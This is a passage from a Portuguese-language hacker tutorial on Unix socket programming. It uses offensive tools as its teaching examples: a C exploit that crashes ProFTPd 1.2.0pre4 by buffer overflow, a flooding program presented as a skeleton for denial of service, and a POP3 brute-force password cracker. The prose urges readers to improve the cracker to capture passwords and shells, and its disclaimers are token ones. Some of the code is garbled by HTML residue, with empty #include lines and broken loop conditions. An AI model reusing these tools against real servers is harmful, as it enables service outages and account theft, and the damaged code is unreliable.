buf[numbytes] = '\0';
printf("Recebido: %s",buf);
close(Meusocket);
return
0;
}
--------------------------------------------------------------------------
Aí estão os exemplos, execute o
servidor primeiro, depois o cliente. Isso
é só para demonstrar de modo fácil como
se pode manipular as funções
send() e recv(). Veremos agora um
exemplo mais abrangente dessas duas
funções, algo mais prático para nossos
intuitos.
-----------------------Denial of service para
Proftpd-----------------------
/*
* Crashes ProFTPd 1.2.0pre4
because of a buffer overflow.
* This bug was discovered by the
Nessus Security Scanner
* I don't know if this flaw can
be exploited to gain
* root privileges.
* The name of the created
directory must not exceed 255 chars !
* Written by Renaud Deraison
*
* (Esse exploit serve para crashear um
servidor de ftp, ProFTPd)
* Eu alterei o fonte para os nossos
propósitos, simplificando as coisas
* ao máximo, mas no momento basta se ater a
manipulação que ele deu
* as funções send() e recv().(Nash Leon)
*/
/* Headers necessários */
#include
#include
#include
#include
#include
#include
#define VITIMA "127.0.0.1"
#define DIR_ESCRITA
"/incoming"
int main()
{
struct in_addr vitima;
int Meusocket;
struct sockaddr_in sa;
char * dir_escrita = "CWD
"DIR_ESCRITA"\r\n";
char
* mkd;
char
* cwd;
/*
Aqui se pega a definição acima do host que será vitimado */
inet_aton(VITIMA,
&vitima);
mkd
= malloc(300); bzero(mkd, 300);
cwd
= malloc(300); bzero(cwd, 300);
Meusocket = socket(PF_INET, SOCK_STREAM,0);
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(21);
sa.sin_addr.s_addr =
vitima.s_addr;
if(!(connect(Meusocket,
(struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
{
char * buf =
malloc(1024);
int i;
sprintf(mkd,
"MKD ");
memset(mkd+4, 'X',
254);
sprintf(mkd, "%s\r\n", mkd);
sprintf(cwd, "CWD ");
memset(cwd+4, 'X',
254);
sprintf(cwd, "%s\r\n", cwd);
/*
Vemos aqui uso pratico de recv() e send() */
recv(Meusocket, buf, 1024, 0);
send(Meusocket,
"USER ftp\r\n", strlen("USER ftp\r\n"),0);
recv(Meusocket, buf,
1024, 0);
bzero(buf,1024);
send(Meusocket,
"PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
recv(Meusocket, buf,
1024, 0);
bzero(buf, 1024);
send(Meusocket,
dir_escrita, strlen(dir_escrita), 0);
recv(Meusocket, buf,
1024, 0);
bzero(buf,1024);
for(i=0;i<40 i="" o:p="">40>
{
send(Meusocket,
mkd, strlen(mkd), 0);
recv(Meusocket,
buf, 1024,0);
if(!strlen(buf))
{
printf("FTPd
Remoto crasheado (veja /var/log/messages)\n");
exit(0);
}
bzero(buf,
1024);
}
printf("Servidor
não é vulneravel\n");
close(Meusocket);
}
else perror("connect
");
return(0);
}
------------------------------FIM DO
EXEMPLO--------------------------
Bem aí está um exemplo bem simples de
envio e recebimento de dados
usando as funções send() e recv() para
derrubar um servico.Essa técnica de
Denial of Service pode ser útil para
muitas finalidades, mas não deve ser
usada como diversão ou simples
vandalismo, lembrando, não nos responsabilizamos
pelo mau uso das ferramentas descritas
nesse txt. Com essas funções
você já está apto a escrever sockets
para enviar aqueles famosos "remote
root buffer overflow"!!:)
As funções sendto() e recvfrom() usadas
em sockets
SOCK_DGRAM, serão vistas muito em
breve,mas antes veremos as funções
write() e read() que são parecidas com
send() e recv().
--------------------------------
*** AS FUNÇÕES write() e read() |
--------------------------------
Essas funções possuem a mesma finalidade
das funções send() e recv().
write() serve para escrever num socket,
enquanto read() para ler de um socket.
A função read() é equivalente a função
recv() com um parâmetro flag de 0.
Da mesma forma, write() é equivalente a
send() com flags igual a 0. Essas
funções devem ser usadas somente em
sistemas unix, lembre-se, esse tutorial
foi escrito para usuarios linux, linux
slackware, not red sux!
Veremos a declaração delas:
/* Header necessario */
#include
ssize_t read(int Meusocket, void *buf, size_t count);
onde:
+ Meusocket -> Nosso bom e velho arquivo socket.
+ *buf -> Buffer de onde serão lidas as
mensagens.
+ count -> Tamanho em bytes da mensagem a ser
lida. Se count é igual a
zero, read() retorna zero e não
possui outro resultado. Se
count é maior que sszize_max
(declarado anteriormente), o
resultado não é especificado.
para a função write() é a mesma coisa:
#include
ssize_t write(int Meusocket, void *buf, size_t count);
onde os parâmetros equivalem aos mesmos
parâmetros de send().
Veremos um simples esquema para essas
funções, comecando com um programa
que envia dados (uma sequência de
caracter A), através da função write():
--------------------------------------------------------------------------
/* PROGRAMA EXEMPLO DE ENVIO DE DADOS
USANDO A função WRITE()
ESSE PROGRAMA FOI DESENVOLVIDO POR NASH LEON P/ TXT SOBRE SOCKETS.
TRANKS RAMONA E UNSEKURITY TEAM.
http://unsekurity.virtualave.net/
Esse programa poderá servir como carcaça (esqueleto) para possíveis
futuros programas geradores de Denial Of Service.
*/
#include
#include
#include
#include
#include
#include
#include
/* O correspondente em hexa do caracter
A */
#define A 0x41
main(int argc, char *argv[])
{
int Meusocket, porta, i;
struct sockaddr_in vitima;
struct hostent *he;
char *buf[2000];
if(argc == 1)
{
printf("Programa
exemplo de uso de write() e read()\n");
printf("Poderá
servir como esqueleto para um DoS!!\n");
printf("Uso:
%s host porta\n",argv[0]);
exit(0);
}
porta = atoi(argv[2]);
Meusocket=socket(AF_INET,SOCK_STREAM,0);
if(Meusocket < 0)
{
perror("Socket");
exit(-1);
}
he = gethostbyname
(argv[1]);
if(he == NULL)
{
herror("Erro!Host
desconhecido mano!\n");
exit(-1);
}
vitima.sin_family =
he->h_addrtype;
vitima.sin_port = htons(porta);
vitima.sin_addr =*((struct in_addr *)he->h_addr);
bzero(&(vitima.sin_zero),
8);
if(connect(Meusocket,(struct
sockaddr *)&vitima, sizeof(vitima)) < 0)
{
fprintf(stderr,"Erro
em connect()!!\n");
exit(-1);
}
/*
Zeramos o buffer responsável por conter dados de envio */
bzero(buf,sizeof(buf));
/*
Aqui nós enchemos o buffer de envio com o caracter desejado */
for(i=0;
i < 1024; i++)
{
buf[i]
= (char *) A;
}
buf[1024
-1] = '\0';
/*
Finalmente nossa função write(), que enviará o conteudo de buffer */
printf("Enviando dados!!\n");
if(write(Meusocket,buf,strlen(buf))
< 0)
{
printf("Erro
em write()\n");
close(Meusocket);
exit(-1);
}
printf("Dados
enviados com sucesso!\n");
close(Meusocket);
return
0;
}
-----------------------------------------------------------------------
Esse programa acima serve somente para
enviar dados para um determinado
host e uma determinada porta, você
poderia muito bem declarar um serviço
exemplo, ftp, onde se poderia tentar um
DoS usando um simples esquema como:
sprintf(buffer,"USER %s",buf);
write(Meusocket,buffer,strlen(buffer));
Lógico, o programa deveria primeiro
estar vulnerável a esse overflow, mas
por incrível que pareca, não sao poucos
os programas que ainda hoje são
vulneráveis a isso. Mas quanto a
overflows. Já temos um bom texto sobre isso
que será publicado muito em breve.
Para a função read(), eu fiz um exemplo
mais prático, mas um pouco grande,
de forma que tentei deixar o mais claro
possível a manipulação dessas duas
funções. O programa que segue abaixo é
um brutal force que trabalha em cima
de um login dado, ele é básico, faz
coisas básicas, mas você poderá fazer
com que ele seja otimizado, pense! E
faça!! Brutal force é uma técnica,
embora muitos não consideram técnica
por causa do nome..:)..mas escrever
um brutal pode ser muito útil..ainda hoje
em dia na época de firewalls, isso
ainda é válido.. Veja como é o
funcionamento do programa, lembre-se:
SABENDO FAZER UM O QUE TE IMPEDE DE
FAZER TODOS?
-----------------------------
*** TERCEIRO EXEMPLO PRÁTICO |
-----------------------------
/* Programa desenvolvido por Nash Leon
para tentar um brutal force
em servidores pop, utilizando permutações e combinações num
login. Não utiliza arquivos passwd, como a maioria dos brutais por aí.
Breve disponibilizarei uma versão mais complexa e atual desse programa.
OBS:Nao me responsabilizo pelo mau uso deste programa, ele foi
construido somente com propósitos educacionais!!
nashleon@yáoo.com.br
Thanks Ramona e unsekurity
team.
http://unsekurity.virtualave.net
*/
#include
#include
#include
#include
#include
#include
#include
#include
#define PORTA 110
int atacar(char *vitima, int porta,
char *login, char *senha);
void Un(char *nome1, char *host);
void Uns(char *nome1, char *nome2, char
*host);
void Unse(char *nome1, char *host);
void modo_errado();
main(int argc, char *argv[])
{
char senhar[30];
if(argc < 4)
{
system("clear");
fprintf(stderr,"\n\t\t\tNASH LEON
BRUTAL FORCE v0.1\n\n\n");
fprintf(stderr,"Desenvolvido
por Nash Leon e unsekurity team!\n");
fprintf(stderr,"http://unsekurity.virtualave.net\n");
fprintf(stderr,"Uso:
%s \n\n",argv[0]);
fprintf(stderr,"Onde
modo pode ser:\n");
fprintf(stderr,"un
-> somente passwd igual a login\n");
fprintf(stderr,"uns ->passwd igual a login ao
contrario\n");
fprintf(stderr,"unse -> passwd igual a login + um número no
final(0 a 9)\n");
fprintf(stderr,"unsek
-> Todos os modos acima.\n");
exit(0);
}
if(argv[3])
{
if(!strcmp(argv[3],"un"))
{
system("clear");
printf("**********************
NASH LEON BRUTAL FORCE v0.1 **********************\n");
printf("Executando modo
\"un\" -> Somente senhas iguais aos logins!!\n");
printf("Boa
sorte mano!!\n");
Un(argv[2], argv[1]);
return 0;
}
if(!strcmp(argv[3],"uns"))
{
system("clear");
printf("***********************
NASH LEON BRUTAL FORCE v0.1 ***********************\n");
printf("Executando em modo
\"unsek\" -> Senha iguais
ao login ao contrario!!\n");
strcpy(senhar,argv[2]);
Uns(argv[2],senhar,argv[1]);
return 0;
}
if(!strcmp(argv[3],"unse")){
system("clear");
printf("**********************
NASH LEON BRUTAL FORCE v0.1 **********************\n");
printf("Executando em modo
\"unse\" -> Senhas igual ao
login + número(0 a 9)\n");
printf("Boa
Sorte Mano!!\n");
Unse(argv[2],argv[1]);
return 0;
}
if(!strcmp(argv[3],"unsek")){
system("clear");
printf("*********************
NASH LEON BRUTAL FORCE v0.1 *********************\n");
printf("Executando em todos os
modos possiveis desta versao!!\n");
printf("Boa
sorte mano!!\n");
Un(argv[2],argv[1]);
Uns(argv[3],senhar,argv[1]);
Unse(argv[2],argv[1]);
return
0;
}
}
modo_errado();
}
void modo_errado()
{
printf("Modo
errado\n");
exit(1);
}
void Un(char *nome1, char *host)
{
char
senha[30];
int
porta = PORTA;
strcpy(senha,nome1);
atacar(host,porta,nome1,senha);
}
atacar(char *vitima, int porta, char
*login, char *senha)
{
char
templ[512],temps[512], envia[1024],recebe[1024],saida[1024];
int Meusocket, len;
struct hostent *he;
struct sockaddr_in lascado;
he = gethostbyname(vitima);
if (he < 0)
{
printf("Host
Desconhecido mano!!\n");
exit(1);
}
Meusocket = socket(AF_INET,
SOCK_STREAM, 0);
if(Meusocket < 0)
{
fprintf(stderr,"Erro
no socket mano!!\n");
exit(1);
}
lascado.sin_family =
he->h_addrtype;
lascado.sin_port = htons(porta);
lascado.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(lascado.sin_zero),
8);
if(connect(Meusocket,(struct
sockaddr * )&lascado, sizeof(lascado)) < 0)
{
printf("Erro
em connect() mano!!\n");
close(Meusocket);
exit(0);
}
bzero(recebe,sizeof(recebe));
len =
read(Meusocket,recebe,strlen(recebe));
sprintf(templ,"USER
%s\n",login);
if(write(Meusocket,templ,strlen(templ))
< strlen(templ))
{
fprintf(stderr,"Falha
em write()!!\n");
return
-1;
}
bzero((char
*)&recebe,sizeof(recebe));
if( read(Meusocket,recebe, sizeof(recebe)) < 0)
{
perror("read()");
return -1;
}
recebe[(strlen(recebe)-2)]
= '\0';
/* Aqui checa se existe login */
if (strstr(recebe, "+OK") == NULL )
{
return
-1;
}
bzero((char
*)&envia, sizeof(envia));
read(Meusocket,envia,1024);
bzero((char
*)&temps,sizeof(temps));
sprintf(temps,"PASS
%s\n",senha);
if(write(Meusocket,temps,strlen(temps))
< strlen(temps))
{
perror("write()");
return -1;
}
if(read(Meusocket,envia,sizeof(envia))
< 0)
{
perror("read()");
return -1;
}
envia[(strlen(envia)-2)] =
'\0';
/* Aqui diz se senha é correta */
if (strstr(envia, "+OK") != NULL )
{
printf("Password
valido mano!!\n");
printf("login
\"%s\" possui senha \"%s\".\n",login,senha);
bzero((char *)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char
*)&saida,sizeof(saida));
bzero((char
*)&saida,sizeof(saida));
return
0;
}
bzero((char
*)&envia,sizeof(envia));
bzero((char
*)&recebe,sizeof(recebe));
bzero((char *)&saida,sizeof(saida));
sprintf(saida,"%s","QUIT");
write(Meusocket,saida,strlen(saida));
bzero((char
*)&saida,sizeof(saida));
return
0;
}
void Uns(char *nome1, char *nome2, char
*host)
{
int
tamanho, i;
int
porta = PORTA;
tamanho
= strlen(nome1);
for(i
= 0; i < tamanho; i++)
{
nome2[i]
= (&nome1[tamanho-i]) [-1];
}
nome2[tamanho]
= '\0';
atacar(host,porta,nome1,nome2);
}
void Unse(char *nome1, char *host)
{
char
senhas[30];
int
i;
for(i=0;i<10 i="" o:p="">10>
{
sprintf(senhas,"%s%d",nome1,i);
}
atacar(host,PORTA,nome1,senhas);
}
----------------------------------------------------------------------
Bem.aí está amigos, um brutal force. No
uso da função read(), eu
coloquei um espaço para o terminador
nulo como em:
envia[(strlen(envia)-2)]
= '\0';
Geralmente isso se faz necessário. Com
esse brutal force, é possivel,
com paciência, logico! Você conseguir capturar
algumas senhas, bem como
shells...gostaria de lembrar, no
entanto, que esse não é um bom método,
pois deixa muito rastro, bem como
existem sistemas que não permitem
conexão de fora na porta 110. Mas pegue
os conceitos, com um pouco de
dedicação, você poderá melhorar esse
programa, ou mesmo fazer um bem
melhor que tenta em outras portas, ex.
porta 80, se possível na vítima,
seria uma boa. Fecho aqui o último
exemplo desse tutorial, espero que
eles tenham sido úteis ou sejam úteis
para você, lembrando amigo, se você
achou isso tudo difícil, não desanime,
procure outros textos sobre sockets,
existem muitos e melhores do que este,
se você achou fácil, espero que os
conceitos das técnicas sirvam para
você, bem como digo que em breve,
escreverei algo mais complexo para
nutrir seus conhecimentos.
-------------------------
*** CONSIDERAÇÕES FINAIS |
-------------------------
Terminamos essa fase inicial de escrita
de sockets, já temos materiais
quase prontos sobre uso de mais funções
como select(), bem como material
sobre UDP socks, mas não publicaremos
ainda por questão de prioridade,
como escrevemos para Newbies,
publicaremos primeiro outros materiais, mas
em breve, muito breve mesmo, estará
disponível aqui coisas mais
interessantes ainda sobre sockets em
unix e talvez winsocks.
Espero mesmo que tudo que escrevi acima
tenha algum valor útil para alguém,
lembrando sempre, que a união faz a
força, se mais pessoas se engajarem
em escrever e publicar técnicas e
conceitos de fuçadores, sem dúvida o
cenario tende a crescer. Obrigado
aqueles que me incentivaram na escrita
deste e dos outros textos, bem como os
que se oporam, vocês são a minha
maior inspiração!!:)..Uma das coisas
que me fez entrar nessa vida de
fuçador, foi um dilema da ética:
"LIBERDADE DE INFORMAÇÃO!", guardando ou
retendo o que eu aprendi, estarei
fugindo ao dilema que me atraiu, e
consequentemente fazendo morrer o
espirito hacker que há dentro de mim.
Um abraço cordial a todos!
----------------------------------------------
*** ALGUNS LINKS SOBRE PROGRAMACAO DE
SOCKETS |
----------------------------------------------
http://www.lowtek.com/sockets/
http://www.ecst.csuchico.edu/~beej/guide/ne
http://www.auroraonline.com/sock-faq
http://kipper.york.ac.uk/~vic/sock-faq
http://packetstorm.securify.com/programming-tutorials/Sockets/